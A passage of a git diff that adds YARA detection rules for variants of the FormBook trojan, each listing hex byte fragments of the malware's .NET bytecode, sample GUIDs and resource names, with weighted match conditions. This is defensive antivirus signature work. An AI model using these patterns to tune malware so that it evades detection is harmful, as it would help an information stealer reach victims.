+8,15 @@ rule Trojan_BAT_FormBook_BAA_MTB{ condition: ((#a_01_0 & 1)*3) >=3 +} +rule Trojan_BAT_FormBook_BAA_MTB_2{ + meta: + description = "Trojan:BAT/FormBook.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {02 28 07 00 00 06 0a 73 0a 00 00 0a 25 06 28 05 00 00 06 6f 0b 00 00 0a 0b dd 08 } //1 + $a_01_1 = {02 03 1f 1f 5f 63 02 1e 03 59 1f 1f 5f 62 60 d2 2a } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + } \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAB_MTB.yar new file mode 100644 index 0000000000..0efa325b4e --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_BAB_MTB{ + meta: + description = "Trojan:BAT/FormBook.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 07 11 07 07 11 07 94 03 5a 1f 64 5d 9e 00 11 07 17 58 13 07 11 07 07 8e 69 fe 04 13 08 11 08 2d de } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAC_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAC_MTB.yar new file mode 100644 index 0000000000..db42fd25a3 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_BAC_MTB{ + meta: + description = "Trojan:BAT/FormBook.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 08 02 08 91 06 08 06 8e 69 5d 91 61 d2 9c 07 08 07 08 91 19 63 07 08 91 1b 62 60 d2 9c 08 17 58 0c 08 02 8e 69 32 d8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAD_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAD_MTB.yar new file mode 100644 index 0000000000..00398bd53f --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_BAD_MTB{ + meta: + description = "Trojan:BAT/FormBook.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {9c 13 22 16 13 23 2b 20 03 11 22 11 23 91 ?? ?? 00 00 0a 11 0f 1d 17 9c 11 09 11 22 11 23 91 58 13 09 11 23 17 58 13 23 11 23 11 21 32 da 11 15 20 f4 01 00 00 5d 2d 54 11 0f 1e 11 0f 1e 91 16 fe 01 9c 11 0f 1f 09 11 15 20 e8 03 00 00 5d 16 fe 01 9c 1f 64 09 17 58 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAE_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAE_MTB.yar new file mode 100644 index 0000000000..4e40b69e5b --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_BAE_MTB{ + meta: + description = "Trojan:BAT/FormBook.BAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 27 06 61 06 61 d2 13 27 11 28 16 61 d2 13 28 11 29 06 61 06 61 d2 13 29 11 27 13 2a 11 28 13 2b } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAF_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAF_MTB.yar new file mode 100644 index 0000000000..9c9f66ce13 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_BAF_MTB{ + meta: + description = "Trojan:BAT/FormBook.BAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 04 11 03 16 73 1b 00 00 0a 13 05 38 00 00 00 00 00 73 0d 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 ?? ?? 00 00 0a 38 00 00 00 00 11 06 ?? ?? 00 00 0a 13 07 38 00 00 00 00 dd 72 ff ff ff 11 06 39 11 00 00 00 38 00 00 00 00 11 06 ?? ?? 00 00 0a 38 00 00 00 00 dc } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAG_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAG_MTB.yar new file mode 100644 index 0000000000..d17214e916 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BAG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_BAG_MTB{ + meta: + description = "Trojan:BAT/FormBook.BAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {72 75 00 00 70 0a 06 28 45 00 00 0a 25 26 0b 28 46 00 00 0a 07 16 07 8e 69 ?? ?? 00 00 0a 25 26 0a 28 37 00 00 0a 06 ?? ?? 00 00 0a 25 26 0c 1f 61 6a 08 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BQ_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BQ_MTB.yar new file mode 100644 index 0000000000..6d0e669cf3 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_BQ_MTB{ + meta: + description = "Trojan:BAT/FormBook.BQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {03 06 08 6f ?? 00 00 0a 0d 0e 04 0e 04 4a 17 58 54 07 } //2 + $a_01_1 = {58 58 0b 02 09 04 05 28 } //2 塘ȋЉ⠅ + $a_03_2 = {25 16 0f 01 28 ?? 00 00 0a 9c 25 17 0f 01 28 ?? 00 00 0a 9c 25 18 0f 01 28 ?? 00 00 0a 9c } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_03_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BSA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BSA_MTB.yar new file mode 100644 index 0000000000..0c45d86ecc --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_BSA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_BSA_MTB{ + meta: + description = "Trojan:BAT/FormBook.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 00 " + + strings : + $a_01_0 = {41 6c 61 72 6d 00 41 6c 61 72 6d 65 72 00 4f 62 6a 65 63 74 00 3c 52 75 6e } //2 + $a_81_1 = {64 63 38 33 34 31 30 66 2d 33 36 34 65 2d 34 34 31 33 2d 62 62 64 66 2d 33 31 34 38 66 65 66 32 37 38 34 32 } //4 dc83410f-364e-4413-bbdf-3148fef27842 + $a_01_2 = {73 56 63 61 2e 65 78 65 } //8 sVca.exe + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*4+(#a_01_2 & 1)*8) >=14 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_EGFB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_EGFB_MTB.yar new file mode 100644 index 0000000000..e8305f0392 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_EGFB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_EGFB_MTB{ + meta: + description = "Trojan:BAT/FormBook.EGFB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {00 03 11 21 11 22 91 ?? ?? ?? ?? ?? 00 72 f1 01 00 70 12 22 ?? ?? 00 00 0a ?? ?? 00 00 0a 13 05 00 11 22 17 58 13 22 11 22 11 1a fe 04 13 23 11 23 2d cd } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_FMB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_FMB_MTB.yar new file mode 100644 index 0000000000..8ff3471fdc --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_FMB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_FMB_MTB{ + meta: + description = "Trojan:BAT/FormBook.FMB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe 15 27 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d c9 01 00 04 12 01 12 00 28 ?? 00 00 0a 7d ca 01 00 04 12 01 12 00 28 ?? 00 00 0a 7d cb 01 00 04 0e 05 0d 09 39 9b 00 00 00 00 23 89 41 60 e5 d0 22 d3 3f 07 7b c9 01 00 04 6c 5a 23 62 10 58 39 b4 c8 e2 3f 07 7b ca 01 00 04 6c 5a 58 23 c9 76 be 9f 1a 2f bd 3f 07 7b cb 01 00 04 6c 5a 58 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_IGB_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_IGB_MTB.yar new file mode 100644 index 0000000000..be670153d2 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_IGB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_IGB_MTB{ + meta: + description = "Trojan:BAT/FormBook.IGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 07 08 6f ?? 00 00 0a 0d 04 03 6f ?? 00 00 0a 59 13 04 11 04 19 fe 04 16 fe 01 13 05 11 05 2c 2e 00 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 2b 58 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_LAT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_LAT_MTB.yar new file mode 100644 index 0000000000..c1ef129d8c --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_LAT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_LAT_MTB{ + meta: + description = "Trojan:BAT/FormBook.LAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {00 02 11 04 11 05 6f ?? 00 00 0a 13 06 04 03 6f ?? 00 00 0a 59 13 07 11 07 19 fe 04 16 fe 01 13 08 11 08 2c 2e 00 03 12 06 28 ?? 00 00 0a 6f 89 00 00 0a 00 03 12 06 28 8a 00 00 0a 6f ?? 00 00 0a 00 03 12 06 28 8b 00 00 0a 6f 89 00 00 0a 00 00 2b 58 11 07 16 fe 02 13 09 11 09 2c 4d 00 19 8d 4f 00 00 01 25 16 12 06 28 ?? 00 00 0a 9c 25 17 12 06 28 8a 00 00 0a 9c 25 18 12 06 28 8b 00 00 0a 9c 13 0a 16 13 0b 2b 14 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_MBZ_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_MBZ_MTB.yar new file mode 100644 index 0000000000..92db4f6393 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_MBZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_MBZ_MTB{ + meta: + description = "Trojan:BAT/FormBook.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {45 74 65 63 4e 65 77 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 } //4 EtecNews.Properties.Resources.resourc + $a_01_1 = {74 00 65 00 63 00 4e 00 65 00 77 00 73 00 00 1d 43 00 72 00 65 00 61 00 74 00 65 00 49 00 6e 00 73 00 74 } //6 + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*6) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_MJT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_MJT_MTB.yar new file mode 100644 index 0000000000..d8226b4121 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_MJT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_MJT_MTB{ + meta: + description = "Trojan:BAT/FormBook.MJT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {11 00 72 61 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 20 01 00 00 00 7e 91 02 00 04 7b 7b 02 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 04 00 } //4 + $a_03_1 = {38 30 00 00 00 11 00 72 93 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 20 00 00 00 00 7e 91 02 00 04 7b a8 02 00 04 3a c5 ff ff ff 26 20 00 00 00 00 38 ba ff ff ff 11 00 6f ?? 00 00 0a 03 16 03 8e 69 6f ?? 00 00 0a 13 02 20 02 00 00 00 38 9d ff ff ff } //5 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*5) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_NAV_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_NAV_MTB.yar new file mode 100644 index 0000000000..50c86a8306 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_NAV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_NAV_MTB{ + meta: + description = "Trojan:BAT/FormBook.NAV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_81_0 = {39 63 39 35 30 34 34 33 2d 31 62 38 64 2d 34 36 30 32 2d 61 33 65 65 2d 36 36 33 34 62 33 64 32 35 36 61 66 } //2 9c950443-1b8d-4602-a3ee-6634b3d256af + $a_01_1 = {c3 f1 5e e0 06 8d 72 55 a2 5e d9 84 cb 62 02 84 99 d3 7d 32 23 01 44 44 10 65 c7 b6 fe 33 89 4f } //1 + $a_01_2 = {80 cc cc 59 ba cf d7 cb f7 3e cf fb 24 2c 99 74 57 fd 7f 75 55 77 2d 03 06 10 42 08 21 84 10 42 08 21 84 10 42 08 89 1f 1d cb 66 6d e6 15 b2 e3 3d 27 7b b0 9b 53 c7 bb 8e fe b6 e7 a8 2b 3c a3 } //1 + condition: + ((#a_81_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_NJA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_NJA_MTB.yar new file mode 100644 index 0000000000..9c40354290 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_NJA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_NJA_MTB{ + meta: + description = "Trojan:BAT/FormBook.NJA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_81_0 = {34 42 31 45 38 41 45 36 2d 30 39 43 38 2d 34 34 38 30 2d 38 33 39 39 2d 33 44 31 37 34 30 45 41 45 32 37 37 } //2 4B1E8AE6-09C8-4480-8399-3D1740EAE277 + $a_01_1 = {11 0c 25 17 58 13 0c 93 11 05 61 60 13 07 11 0f 1f 22 } //1 + condition: + ((#a_81_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_PDD_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_PDD_MTB.yar new file mode 100644 index 0000000000..e4d29e9a7f --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_PDD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_PDD_MTB{ + meta: + description = "Trojan:BAT/FormBook.PDD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1a 25 2c 17 8d 5b 00 00 01 0b 06 07 16 1a 6f ?? 00 00 0a 26 07 16 28 ?? 01 00 0a 0c 06 16 73 13 01 00 0a 0d 2b 36 8d 5b 00 00 01 2b 32 16 2b 33 2b 1c 2b 33 2b 34 2b 36 08 11 05 59 6f ?? 00 00 0a 13 06 11 06 2c 0c 11 05 11 06 58 13 05 11 05 08 32 df 1b 2c ed 11 04 13 07 de 36 08 2b c7 13 04 2b ca 13 05 2b c9 09 2b ca 11 04 2b c8 11 05 2b c6 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_PGT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_PGT_MTB.yar new file mode 100644 index 0000000000..f8b5074444 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_PGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_FormBook_PGT_MTB{ + meta: + description = "Trojan:BAT/FormBook.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 0c 02 11 0c 7b 98 00 00 04 7b 94 00 00 04 11 0c 7b 98 00 00 04 7b 94 00 00 04 60 11 0c 7b 98 00 00 04 7b 94 00 00 04 5f 11 0b 11 0b 60 11 0b 5f 6f ?? 00 00 0a 7d 96 00 00 04 11 0c 04 11 0c 7b 98 00 00 04 7b 95 00 00 04 7b 93 00 00 04 6f ?? 00 00 0a 59 7d 97 00 00 04 7e ?? 00 00 04 25 2d 17 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVK_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVK_MTB.yar new file mode 100644 index 0000000000..224e70461b --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_RVK_MTB{ + meta: + description = "Trojan:BAT/FormBook.RVK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {57 1f b6 09 09 09 00 00 00 fa ?? 33 00 16 00 00 01 00 00 00 7e 00 00 00 15 00 00 00 72 00 00 00 ?? 00 00 00 73 00 00 00 06 00 00 00 ed 00 00 00 0b 00 00 00 25 00 00 00 ?? 00 00 00 06 00 00 00 06 00 00 00 09 00 00 00 2e 00 00 00 5e 00 00 00 09 00 00 00 01 00 00 00 05 00 00 00 04 00 00 00 01 } //1 + $a_81_1 = {41 39 46 38 45 37 44 36 2d 43 35 42 34 2d 41 33 39 32 2d 38 31 37 36 2d 35 34 33 32 31 30 39 38 37 36 35 34 } //1 A9F8E7D6-C5B4-A392-8176-543210987654 + $a_81_2 = {44 65 54 68 69 4c 54 47 44 31 39 32 30 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 DeThiLTGD1920.Properties.Resources + condition: + ((#a_03_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVL_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVL_MTB.yar new file mode 100644 index 0000000000..b9cc0953a8 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVL_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_FormBook_RVL_MTB{ + meta: + description = "Trojan:BAT/FormBook.RVL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_81_0 = {57 1f a2 09 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 99 00 00 00 2c 00 00 00 2c 02 00 00 50 01 00 00 da 00 00 00 01 00 00 00 2d 01 00 00 08 00 00 00 6a 01 00 00 30 00 00 00 12 00 00 00 6d 00 00 00 c0 00 00 00 2d 00 00 00 01 00 00 00 0a 00 00 00 12 00 00 00 05 00 00 00 0b 00 00 00 10 } //1 + $a_81_1 = {57 1f a2 29 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 9c 00 00 00 2d 00 00 00 2d 02 00 00 50 01 00 00 da 00 00 00 01 00 00 00 2d 01 00 00 08 00 00 00 6b 01 00 00 30 00 00 00 12 00 00 00 6d 00 00 00 c0 00 00 00 2d 00 00 00 01 00 00 00 01 00 00 00 0a 00 00 00 12 00 00 00 05 00 00 00 0b 00 00 00 0e } //1 + $a_81_2 = {62 64 63 61 35 33 65 38 2d 32 35 61 63 2d 34 63 33 33 2d 62 39 39 64 2d 65 37 31 63 38 32 64 34 65 65 37 32 } //5 bdca53e8-25ac-4c33-b99d-e71c82d4ee72 + $a_81_3 = {51 4c 44 54 44 44 5f 46 50 54 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //5 QLDTDD_FPT.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*5+(#a_81_3 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVM_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVM_MTB.yar new file mode 100644 index 0000000000..0f5599f97d --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_FormBook_RVM_MTB{ + meta: + description = "Trojan:BAT/FormBook.RVM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_81_0 = {57 7f b6 1d 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 e5 00 00 00 33 00 00 00 c4 00 00 00 07 02 00 00 e1 01 00 00 04 00 00 00 f9 01 00 00 34 00 00 00 b8 01 00 00 01 00 00 00 04 00 00 00 35 00 00 00 09 00 00 00 23 00 00 00 1b 00 00 00 84 00 00 00 32 01 00 00 01 00 00 00 1d 00 00 00 01 00 00 00 01 00 00 00 08 00 00 00 04 00 00 00 09 00 00 00 04 00 00 00 0e } //1 + $a_03_1 = {57 ff b6 3d 09 1e 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 03 01 00 00 ?? 00 00 00 ?? 00 00 00 ?? 02 00 00 e1 01 00 00 04 00 00 00 10 02 00 00 34 00 00 00 a4 02 00 00 01 00 00 00 04 00 00 00 05 00 00 00 ?? 00 00 00 09 00 00 00 23 00 00 00 1b 00 00 00 84 00 00 00 32 01 00 00 01 00 00 00 ?? 00 00 00 01 00 00 00 05 00 00 00 01 00 00 00 08 } //1 + $a_81_2 = {42 36 46 33 44 38 41 32 2d 34 43 37 45 2d 34 41 39 42 2d 39 46 32 44 2d 35 45 38 41 31 43 36 42 34 46 37 44 } //5 B6F3D8A2-4C7E-4A9B-9F2D-5E8A1C6B4F7D + $a_81_3 = {47 72 6f 75 70 42 6f 78 44 65 6d 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //5 GroupBoxDemo.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_03_1 & 1)*1+(#a_81_2 & 1)*5+(#a_81_3 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVN_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVN_MTB.yar new file mode 100644 index 0000000000..f7aa34c8cb --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_RVN_MTB{ + meta: + description = "Trojan:BAT/FormBook.RVN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 09 09 0d 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 80 00 00 00 15 00 00 00 d8 00 00 00 ab 00 00 00 9f 00 00 00 10 01 00 00 06 00 00 00 21 00 00 00 44 00 00 00 03 00 00 00 07 00 00 00 08 00 00 00 14 00 00 00 01 00 00 00 06 00 00 00 0a 00 00 00 03 00 00 00 04 } //1 + $a_81_1 = {45 37 44 32 41 39 43 34 2d 36 42 38 46 2d 34 45 33 41 2d 39 43 31 44 2d 37 46 34 42 32 41 38 45 35 43 36 44 } //1 E7D2A9C4-6B8F-4E3A-9C1D-7F4B2A8E5C6D + $a_81_2 = {42 6f 6f 6b 46 6c 6f 77 4c 69 62 72 61 72 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 BookFlowLibrary.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVO_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVO_MTB.yar new file mode 100644 index 0000000000..2d151f83ba --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_RVO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_FormBook_RVO_MTB{ + meta: + description = "Trojan:BAT/FormBook.RVO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d b6 09 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 a4 00 00 00 1d 00 00 00 8d 00 00 00 01 01 00 00 d0 00 00 00 8c 01 00 00 05 00 00 00 b7 00 00 00 40 00 00 00 01 00 00 00 01 00 00 00 0b 00 00 00 2e 00 00 00 52 00 00 00 26 00 00 00 01 00 00 00 06 00 00 00 04 00 00 00 05 00 00 00 02 00 00 00 1c } //1 + $a_81_1 = {30 61 34 39 36 38 66 34 2d 36 66 61 32 2d 34 33 62 32 2d 39 32 37 66 2d 34 62 33 61 63 61 30 35 65 62 33 31 } //1 0a4968f4-6fa2-43b2-927f-4b3aca05eb31 + $a_81_2 = {41 6c 61 72 6d 50 6c 75 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 AlarmPlus.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_SKA_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_SKA_MTB.yar new file mode 100644 index 0000000000..5a08693485 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_FormBook_SKA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_FormBook_SKA_MTB{ + meta: + description = "Trojan:BAT/FormBook.SKA!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {02 7b 01 00 00 04 07 6f 20 00 00 0a 6f 63 00 00 06 06 28 20 00 00 06 2d 13 02 02 7b 01 00 00 04 07 6f 20 00 00 0a 28 02 00 00 06 2a 07 17 58 0b 07 02 7b 01 00 00 04 6f 1f 00 00 0a 32 c2 } //1 + $a_01_1 = {24 31 32 33 34 35 36 37 38 2d 31 32 33 34 2d 35 36 37 38 2d 39 61 62 63 2d 31 32 33 34 35 36 37 38 39 30 31 32 } //1 $12345678-1234-5678-9abc-123456789012 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_FormBook_SKC_MTB.yar 